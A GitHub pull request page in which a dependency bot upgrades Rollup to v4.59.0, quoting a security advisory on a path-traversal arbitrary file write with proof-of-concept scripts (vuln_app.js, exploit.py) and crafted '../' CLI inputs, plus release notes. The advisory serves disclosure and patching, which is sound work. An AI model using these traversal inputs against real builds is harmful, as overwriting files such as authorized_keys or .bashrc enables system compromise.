You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.
Details
The vulnerability is caused by the combination of two flawed components in the Rollup core:
Improper Sanitization: In src/utils/sanitizeFileName.ts, the INVALID_CHAR_REGEX used to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/, \).
This allows path traversal sequences like ../../ to pass through the sanitizer unmodified.
Unsafe Path Resolution: In src/rollup/rollup.ts, the writeOutputFile function uses path.resolve to combine the output directory with the "sanitized" filename.
Because path.resolve follows the ../ sequences in outputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call to fs.writeFile completes the arbitrary write.
PoC
A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.
Scenario: CLI Named Input Exploit
Target a sensitive file location (for demonstration, we will use a file in the project root called pwned.js).
Execute Rollup with a specifically crafted named input where the key contains traversal characters:
Result: Rollup will resolve the output path for the entry chunk as dist + a/../../pwned.js, which resolves to the project root. The file pwned.js is created/overwritten outside the dist folder.
Reproduction Files provided :
vuln_app.js: Isolated logic exactly replicating the sanitization and resolution bug.
exploit.py: Automated script to run the PoC and verify the file escape.
vuln_app.js
constpath=require('path');constfs=require('fs');/** * REPLICATED ROLLUP VULNERABILITY * * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts) * 2. Unsafe Path Resolution (from src/rollup/rollup.ts) */functionsanitize(name){// The vulnerability: Rollup's regex fails to strip dots and slashes, // allowing path traversal sequences like '../'returnname.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g,'_');}asyncfunctionbuild(userSuppliedName){constoutputDir=path.join(__dirname,'dist');constfileName=sanitize(userSuppliedName);// Vulnerability: path.resolve() follows traversal sequences in the filenameconstoutputPath=path.resolve(outputDir,fileName);console.log(`[*] Target write path: ${outputPath}`);if(!fs.existsSync(path.dirname(outputPath))){fs.mkdirSync(path.dirname(outputPath),{recursive: true});}fs.writeFileSync(outputPath,'console.log("System Compromised!");');console.log(`[+] File written successfully.`);}build(process.argv[2]||'bundle.js');
exploit.py
importsubprocessfrompathlibimportPathdefrun_poc():
# Target a file outside the 'dist' folderpoc_dir=Path(__file__).parentmalicious_filename="../pwned_by_rollup.js"target_path=poc_dir/"pwned_by_rollup.js"print(f"=== Rollup Path Traversal PoC ===")
print(f"[*] Malicious Filename: {malicious_filename}")
# Trigger the vulnerable appsubprocess.run(["node", "poc/vuln_app.js", malicious_filename])
iftarget_path.exists():
print(f"[SUCCESS] File escaped 'dist' folder!")
print(f"[SUCCESS] Created: {target_path}")
# target_path.unlink() # Cleanupelse:
print("[FAILED] Exploit did not work.")
if__name__=="__main__":
run_poc()
Arbitrary File Write: Attackers can overwrite sensitive files like ~/.ssh/authorized_keys, .bashrc, or system binaries if the build process has sufficient privileges.
Supply Chain Risk: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
User Impact: Developers running builds on untrusted repositories are at risk of system compromise.
We reviewed changes in 242a5a8...b91b4eb on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.
Next steps: Take a moment to review the security alert above. Review
the linked package source code to understand the potential risk. Ensure the
package is not malicious before proceeding. If you're unsure how to proceed,
reach out to your security team or ask the Socket team for help at
support@socket.dev.
Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.
Mark the package as acceptable risk. To ignore this alert only
in this pull request, reply with the comment
@SocketSecurity ignore npm/vite@7.1.5. You can
also ignore all packages with @SocketSecurity ignore-all.
To ignore an alert for all future pull requests, use Socket's Dashboard to
change the triage state of this alert.
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]
chore(monorepo): update pnpm.catalog.default rollup [security]
Mar 26, 2026
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]
Mar 26, 2026
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosed
Mar 27, 2026
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosed
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]
Mar 30, 2026
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]
chore(monorepo): update pnpm.catalog.default rollup [security]
May 12, 2026
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]
May 12, 2026
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]
chore(monorepo): update pnpm.catalog.default rollup [security]
May 14, 2026
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]
May 14, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for freeto subscribe to this conversation on GitHub.
Already have an account?
Sign in.
Labels
dependenciesUpgrade or downgrade of project dependencies.
0 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
This PR contains the following updates:
4.52.2→4.59.0^4.52.3→^4.62.2Rollup 4 has Arbitrary File Write via Path Traversal
CVE-2026-27606 / GHSA-mw96-cpmx-2vgc
More information
Details
Summary
The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (
../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.Details
The vulnerability is caused by the combination of two flawed components in the Rollup core:
Improper Sanitization: In
src/utils/sanitizeFileName.ts, theINVALID_CHAR_REGEXused to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/,\).This allows path traversal sequences like
../../to pass through the sanitizer unmodified.Unsafe Path Resolution: In
src/rollup/rollup.ts, thewriteOutputFilefunction usespath.resolveto combine the output directory with the "sanitized" filename.Because
path.resolvefollows the../sequences inoutputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call tofs.writeFilecompletes the arbitrary write.PoC
A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.
Scenario: CLI Named Input Exploit
pwned.js).rollup --input "a/../../pwned.js=main.js" --dir distdist + a/../../pwned.js, which resolves to the project root. The filepwned.jsis created/overwritten outside thedistfolder.Reproduction Files provided :
vuln_app.js: Isolated logic exactly replicating the sanitization and resolution bug.exploit.py: Automated script to run the PoC and verify the file escape.vuln_app.js
exploit.py
POC
rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir distImpact
This is a High level of severity vulnerability.
~/.ssh/authorized_keys,.bashrc, or system binaries if the build process has sufficient privileges.Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:PReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
rollup/rollup (rollup)
v4.59.0Compare Source
2026-02-22
Features
Pull Requests
v4.58.0Compare Source
2026-02-20
Features
__NO_SIDE_EFFECTS__annotation before variable declarations declaring function expressions (#6272)Pull Requests
output.experimentalMinChunkSize(@millerick, @lukastaegert)v4.57.1Compare Source
2026-01-30
Bug Fixes
Pull Requests
process.report.getReport()calls in a child process for robust environment detection (@alan-agius4, @lukastaegert)v4.57.0Compare Source
2026-01-27
Features
loadortransformhooks as that will no longer be supported with rollup 5 (#5700)Pull Requests
v4.56.0Compare Source
2026-01-22
Features
Bug Fixes
this(#6230)Pull Requests
v4.55.3Compare Source
2026-01-21
Bug Fixes
Pull Requests
v4.55.2Compare Source
2026-01-19
Bug Fixes
Pull Requests
492b0c8(@renovate[bot])v4.55.1Compare Source
2026-01-05
Bug Fixes
Pull Requests
v4.54.0Compare Source
2025-12-20
Features
Symbol.hasInstance,Symbol.disposeandSymbol.asyncDisposeproperties if unused (#6046)Bug Fixes
Pull Requests
4f806de(@renovate[bot], @lukastaegert)v4.53.5Compare Source
2025-12-16
Bug Fixes
Pull Requests
v4.53.4Compare Source
2025-12-15
Bug Fixes
Symbol.disposeandSymbol.asyncDisposeproperties are never removed with(await) usingdeclarations. (#6209)Pull Requests
v4.53.3Compare Source
2025-11-19
Bug Fixes
Pull Requests
v4.53.2Compare Source
2025-11-10
Bug Fixes
Pull Requests
v4.53.1Compare Source
2025-11-07
Bug Fixes
Pull Requests
v4.53.0Compare Source
2025-11-07
Features
Pull Requests
v4.52.5Compare Source
2025-10-18
Bug Fixes
Pull Requests
v4.52.4Compare Source
2025-10-03
Bug Fixes
Pull Requests
v4.52.3Compare Source
2025-09-27
Bug Fixes
Pull Requests
fb197b7(@renovate[bot])Configuration
📅 Schedule: (in timezone America/New_York)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.
This PR was generated by Mend Renovate. View the repository job log.